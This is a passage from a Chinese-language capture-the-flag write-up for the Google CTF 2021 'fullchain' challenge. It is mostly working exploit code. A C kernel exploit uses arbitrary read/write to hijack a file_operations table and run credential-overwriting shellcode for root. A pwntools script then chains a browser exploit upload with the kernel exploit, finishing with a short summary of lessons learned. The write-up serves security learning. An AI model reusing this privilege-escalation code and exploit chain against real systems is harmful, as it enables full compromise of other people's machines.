buffer[5] = fake_fop;
if (arb_write(file_addr, buffer, sizeof(save_file)) < 0) {
return -9;
}
printf("set file's fop\n");
if (arb_read(fop, buffer, 0x100) < 0) {
return -10;
}
uint64_t shellcode_addr = file_addr + 0x100;
buffer[2] = kernel_offset + SET_MEMORY_X; // read
buffer[3] = shellcode_addr; // write (shellcode addr)
if (arb_write(fake_fop, buffer, 0x100) < 0) {
return -11;
}
printf("set file_addr executable\n");
read(fd[2], (char *)1, 1);
printf("write shellcode\n");
char shellcode[] = {
'\x48', '\x31', '\xff', // xor rdi, rdi
'\x48', '\xbe', 0, 0, 0, 0, 0, 0, 0, 0, // movabs rsi, 0
'\xff', '\xd6', // call rsi
'\x48', '\xbe', 0, 0, 0, 0, 0, 0, 0, 0, // movabs rsi, 0
'\xff', '\xd6', // call rsi
'\xc3', // ret
};
uint64_t pre = kernel_offset + PREPARE_KERNEL_CRED;
uint64_t com = kernel_offset + COMMIT_CREDS;
memcpy(&shellcode[5], &pre, sizeof(uint64_t));
memcpy(&shellcode[17], &com, sizeof(uint64_t));
if (arb_write(shellcode_addr, shellcode, sizeof(shellcode)) < 0) {
return -12;
}
printf("call shellcode\n");
write(fd[2], (char *)1, 1);
printf("restore fop\n");
if (arb_write(file_addr, save_file, sizeof(save_file)) < 0) {
return -13;
}
printf("pwn!\n");
system("/bin/sh");
return 0;
}
exp.py:
# python3
from kctfpow import solve_challenge
from pwn import *
from base64 import b64encode
def to_hex(s):
ret = ''
if isinstance(s, str):
for ch in s:
ch = ord(ch)
ret += '\\x' + hex(ch)[2:].rjust(2, '0')
elif isinstance(s, bytes):
for ch in s:
ret += '\\x' + hex(ch)[2:].rjust(2, '0')
else:
return ''
return ret
def exec_cmd(cmd):
sh.sendlineafter('$ ', cmd)
def upload(src, dst, block_size=500):
p = log.progress("Upload")
with open(src, 'rb') as fd:
data = fd.read()
for i in range(0, len(data), block_size):
p.status("%d / %d" % (i, len(data)))
exec_cmd("echo -e -n '%s' >> %s" % (to_hex(data[i:i+block_size]), dst))
p.success()
sh = remote('fullchain.2021.ctfcompetition.com', 1337)
# sh = process(['python3', 'run_qemu.py']) #, stdin=PTY, stdout=PTY)
sh.recvuntil(') solve ')
solve = sh.recvline().decode().strip()
info('solve = {}'.format(solve))
solution = solve_challenge(solve)
sh.sendlineafter('Solution? ', solution)
sh.recvuntil('Correct\n', timeout=2)
context.log_level = 'debug'
with open('exp.html', 'rb') as fd:
data = fd.read()
html = b64encode(data)
sh.sendlineafter(b'? ', str(len(html)))
# sh.interactive()
# exit()
sh.sendafter(b'Give me your exploit as base64!\n', html)
# sh.send(html)
success('upload exp.html successfully!')
exec_cmd('bash')
success('exploit chrome successfully!')
context.log_level = 'info'
upload('./exp', '/tmp/exp', 800)
context.log_level = 'debug'
exec_cmd('chmod +x /tmp/exp')
exec_cmd('/tmp/exp')
sh.recvuntil('# ')
success('get root!')
sh.interactive()
kctfpow: https://raw.githubusercontent.com/google/kctf/v1/docker-images/challenge/pow.py
总结
这道题目还是挺有意思的,v8,sandbox-escape 以及 kernel pwn 各个点都比较入门,能学到东西
虽然简单,但就算当时去做,也未必做得出来,一方面网络及其不稳定,容易中途就崩了,另一方面可执行程序太大了,运行个 ROPgadget 或者 ropper 跑了几个小时了还没出来,不知道还能怎么找 gadget 了,再一方面还是可执行程序太大了,ida 打开卡死半天,搜索也卡半天,最后用 ghidra 来分析的
直到这篇文章发布,ropper 仍未运行完